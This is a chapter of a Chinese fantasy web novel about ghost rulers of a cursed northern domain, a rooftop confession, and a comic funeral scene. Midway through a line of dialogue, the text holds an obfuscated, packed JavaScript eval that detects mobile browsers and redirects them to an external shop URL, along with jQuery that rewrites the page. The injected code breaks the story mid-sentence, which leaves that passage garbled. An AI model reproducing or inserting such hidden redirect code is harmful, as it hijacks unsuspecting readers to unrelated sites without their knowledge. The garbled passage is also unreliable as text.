北城鬼主府。
日落时分,暮色四合。眼见自家尊主摆出了一副要拉人彻夜长谈的架势,鬼侍们很有眼色地早早退出府,此刻周遭悄然无声。
燕鹤青同叶泠坐在屋顶饮酒。房脊上整整齐齐地摆了一排盛酒玉壶,远远望去碧色剔透,观感甚佳。叶泠手中拎着酒壶自顾自地仰头灌酒,面上微微染了些红晕,眼眸却甚是清明,毫无醉意。燕鹤青沉默着坐在一旁,目光不知游离在何处,有意克制着不去看身边人。
待一壶酒饮尽,叶泠抬手将酒壶向燕鹤青砸了过去,借着些许醉意大声嚷嚷道:“喂,说话啊!解释啊!别总装哑巴行不行?”
燕鹤青将酒壶稳稳当当接在手里,闻言又有些头疼,碍于是自己有求于人也不好说什么,看了看叶泠,茫然道:“解释什么?”
叶泠瞪着她呵呵冷笑,周身气压低得十分冻人。燕鹤青打了个寒颤,默默往旁边挪了挪。
天边斜阳西沉,林间倦鸟归巢。城内已有些许人家点起了烛火,街上行人步履匆匆归至未知居所,背影稍显落寞。阎浮城中并无宵禁,再过些时候,就又会是一派烟火人间繁华景象。唯一可惜的是,城中人俱是心知肚明,此处并非人间。
燕鹤青远远眺望着城中景象,沉默许久,转头看向叶泠,轻声道:“这修罗北域当年是何种景象,你还记得吧。”
叶泠微微一怔,垂下眼眸,手不自知地攥紧,骨节泛白,掌心刺痛,而后摇头苦笑道:“还提它做什么,都过去了……”
燕鹤青却置若罔闻,语气平静自顾自地说了下去:“当年……”
当年修罗四域以南域为尊,后依次为东西北三域。北域三城地处偏僻,穷山恶水,无人管辖,方圆百里,恶兽肆行。其余三域穷凶极恶之徒俱被流放此处,永不得返。原来居于北域中的鬼日夜担惊受怕,既要防恶兽又要防恶人,只能哀叹自己命苦到了这荒凉地。但日子虽难,总归还是活着。
后来其余三域太平已久,各自只觉平淡无趣。南域鬼主遂出了个主意,让北域众鬼困于一处,抽签搏杀,供人取乐。东西二域鬼主欣然赞同。反正死的也不过是些穷凶极恶之徒罢了。于是北域因这一句话化作修罗地狱,凶蛮者肆意屠杀受众人喝彩,弱势者死在泥泞中无人问津。有后来者不明所以就被砍掉了脑袋。上位者们于北域中日夜欢闹无休,北域城中鬼终究越来越少。有些鬼不堪忍受屡屡反抗又被镇压。
南域鬼主对此乱象甚为不快,决意加大筹码让他们再度搏杀。于是三域鬼主一番商讨后定下筹码,当众宣布在搏杀中活到最后的鬼会成为北域之主。剩余众鬼闻言纷纷杀红了眼,最终,一众中最凶残的鬼赢得了最后一场搏杀,当上了北域鬼主。
但经此番搏杀,北域中怨气弥漫,三城命途煞气大增。自此凡成北域鬼主者日夜难安,往往不过数年便自行消散,死状凄惨痛苦万分。而下任鬼主又需再度从搏杀中选出,周而复始,不得善终。
燕鹤青笑了笑,眸色冰冷,眼眶却莫名湿润,又看向了叶泠:“但上任鬼主死后的那场搏杀中,活下来了两个人。所以阿泠,只有你能帮我。”
叶泠觉得自己几乎是要疯了,蓦得站起身来一脚踢翻了酒壶,酒壶咕噜噜一路滚下房檐,“啪”地落地碎了。碧色酒液洒在屋上,湿痕蜿蜒曲折,氤氲出一片苦涩又清冽的香色。夜色中,叶泠发丝散乱,面色苍白如纸,眼神空洞,定定地看向燕鹤青,近乎绝望地低声道:“你当时救我,原来就是为了今天吗?”
燕鹤青心中一沉,缓缓别过头,沉默着望着远处已然热闹起来的街巷,良久才再度开口道:“是。”又自嘲般地笑了笑,仰头看向了叶泠,一字一顿道,“我看中的,从来都是能从旁人身上得到的利益罢了。所以当初才会从搏杀中救下你。阿泠,你给过我承诺,你没资格拒绝。”
叶泠木木呆呆地看着她,仿佛今天才开始真正认识眼前这个人。寒意自夜幕中气势汹汹地侵袭而来,叶泠觉得有些冷,伸手抱紧自己,低下头过了许久,才又嗫嚅道:“你为什么要走?”
燕鹤青低头,敛去眸中复杂神色,平淡道:“我有我要做的事。必须要做的事。而且,”顿了顿,又道,“我大约不会再回来了。”明明她的语气平淡到像是在叙述一件再寻常不过的小事,叶泠却莫名觉得悚然。眼见不好再追问下去,只能又换了个问题:“你要去哪?”
燕鹤青冷声道:“天命归处。”
叶泠身形踉跄了一下,满脸不可置信,声音不自觉地大了起来,“天命归处?你到底知道些什么?为什么连我都不告诉!”
燕鹤青闭口不言,只是静静地看着她。月色皎洁,鬼使神差般,叶泠目光落至燕鹤青的手腕处,一根金线似有似无于暗夜中显现,那不像是简单系上的,而像是平白无故从血肉中生长出来的,紧紧牵绊着的,不可割舍也不能割舍的线。那是燕鹤青的执念。
叶泠颓然跌坐在地,失魂落魄道:“……原来你一早就选定了结局,是吗?”她明明想哭,面上却笑了出来,笑着笑着又落了泪,“罢了罢了,这条命反正都算我欠你的,何况还有黄金万两呢,死了也值了。”泪眼朦胧地看向燕鹤青,故作平静一字一顿道,“燕鹤青,你不要忘了我。”
燕鹤青跟着轻笑一声,低声道:“如果一切顺利的话,你不会死的。”叶泠没听清,眼里含着泪,有些茫然地看向她:“什么?”燕鹤青摇了摇头,站起了身。她今日罕见地穿了身红衣,走在暗夜里,衣摆随风飘动,是浓稠墨色里怎么都压不下去的一抹深红。叶泠看着她,忽而想起忘川河畔层层叠叠颜色炽烈如火的彼岸花。
诱人通往地狱,灾祸之兆。
大城中天色微亮,起早的摊位上已有摊主小鬼在忙碌,角落里只稀稀拉拉几个小鬼。乌归同顾屿经这一夜被搅得毫无睡意,眼底一片乌青,双双垂头丧气走在街道上。乌归只觉眼下毫无头绪,整只鬼眼看就是要半死不活了,又被顾屿一巴掌拍在背上硬生生拍醒。乌归:“……”我恨。
顾屿贱兮兮地凑到他跟前,看看四周,压低声音道:“元兄,你还有钱吗?借我点钱呗。”乌归双眼迷蒙地盯着他,烦闷道:“你又要干吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656567|143998||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
饭可以乱吃,话可以乱说,但钱不可以乱花。说吧,借多少?”
顾屿被他语重心长地教育一通,倒也不生气,平静地伸出了五根手指在乌归面前晃悠。乌归眯眼:“五铜板?”
顾屿的手继续晃悠。
乌归皱眉:“五两银?”
顾屿的手晃悠得更加欢快。
乌归大吃一惊:“五两金?你疯了,我—”话还没说完就惨遭捂嘴。顾屿叹息一声,淡然道:“舍不得孩子套不到狼。元兄你今日借我五两金,我一会儿还您千百金。包划算的。所以……”他的手在乌归身上随意一碰,将钱袋顺了出来。
顾屿将乌归放开,坦然地当着他的面掂了掂钱袋,笑道:“多谢。”乌归心里一阵滴血,眼神简直想杀了他。顾屿佯作不察。
鬼侍统领府大门紧闭。浅黑色的布幔似乎将整座府邸围了个遍。沉黑灵柩摆在院中央,往来吊唁的多为统领昔日手下,哀哀嚎哭感慨着统领多么多么良善,多么多么伟大,平日里不会浪费一滴一点时间放弃喝酒,杀死他的人又多么多么凶残暴戾没良心等等。
正当众鬼侍痛哭留涕间,府中大门忽而被推开。少许鬼侍循声望去,面上泪也来不及抹,齐齐愣在了原地。来的是个身着白裳,面上覆纱的妇人,许是年岁不小了,发间已有些许银丝。妇人身后跟了个五大三粗,胡须满面的鲁莽大汉,瞧着有些凶神恶煞的驾势。
那女子站在门口呆呆望了一阵,看见灵柩的那一刻,忽而捂面啜泣起来,跌跌撞撞自鬼侍身边跑过,扑在了灵柩前一面捶打着棺盖,一面嚎啕大哭。原本还在哭的鬼侍此刻也被惊呆在了原地,彼此面面相觑,不知这妇人究竟是何人。那鲁莽大汉神色复杂地站在门口,进也不是退也不是,心中纠结半晌,到底还是颤巍巍地往院里迈了一步。一步接一步缓慢挪到在灵柩前痛哭流涕的妇人身旁。
那妇人一把捞过大汉的衣袖,将人拽了过去,呜呜咽咽大声道:“当家的,我带你儿子来看你来啦,你快睁开眼看看,阿牛看你来啦……睁个眼啊……呜呜……你这死鬼啊……你说我好不容易下来了……你怎么又先死一步啊……当家的……呜呜呜没有你我可怎么活啊……”
庭院中众鬼侍目瞪口呆,都觉得可能是自己伤心过度出现幻觉了。于是院里很快又“噼里啪啦”地响起一阵扇巴掌的声响。鬼侍们面颊红肿,你看看我我看看你,默契十足地齐齐往后退了一步。很好,顿时原地只剩下唯一一个两边脸被都扇肿了的大冤种。大冤种也不回头,闭目咬牙心一横,走上前去大声问道:“你,你是谁?你来这儿做什么的?”
那妇人见问,又是一愣,而后放声大哭道:“我是这死鬼的发妻啊,怎么,难道他活在这儿的时候一句话都没提过我……哎哟,我的天哪,还有没有天理哪,死后就不管妻儿去处啊……我好不容易熬到今天,你怎么又独自去死了啊……负心人啊……”
妇人一声嚎得比一声响,嚎到最后在场的鬼侍齐刷刷堵住了耳朵。乌归面无表情麻木地忍受着妇人嚎哭,觉得自己今后的日子坎坷得一眼望不到头。